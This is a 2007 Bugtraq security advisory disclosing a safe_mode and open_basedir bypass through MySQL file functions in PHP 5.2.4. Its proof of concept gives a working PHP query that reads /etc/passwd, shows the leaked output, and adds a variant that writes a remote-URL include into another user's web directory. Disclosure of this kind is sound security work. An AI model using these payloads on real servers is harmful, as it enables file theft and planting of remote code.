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PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass
| From: |
laurent gaffie gmail com |
| To: |
bugtraq securityfocus com |
| Cc: |
|
| Subject: |
PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass |
| Date: |
Mon - Sep 10, 2007 09:47 PM |
Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: safemode & open_basedir bypass
-------------------------------------------------------
1) Introduction
2) Bug
3) Proof of concept
4) Credits
===========
1) Introduction
===========
"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
======
2) Bug
======
various mysql functions safemode & open_basedir bypass
( LOAD_FILE , INTO DUMPFILE , INTO OUTFILE )
=====
3)Proof of concept
=====
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/
debian:/test/mysql# ls
debian:/test/mysql#
<?php
mysql_connect("localhost", "granted_user","something");
mysql_query("select load_file(0x2F6574632F706173737764)into dumpfile'/test/123.txt';");
?>
debian:/test/mysql# ls
123.txt
debian:/test/mysql#
debian:/test/mysql# vim 123.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
variant : select '<?include("http://site.com/hello.html")?>' into dumpfile '/home/NOT_MY_USER/www/index1.php';
=====
4)Credits & greets
=====
laurent gaffi
laurent.gaffi@gmail.com
greets: Mattias Bengtsson (see http://php.net).
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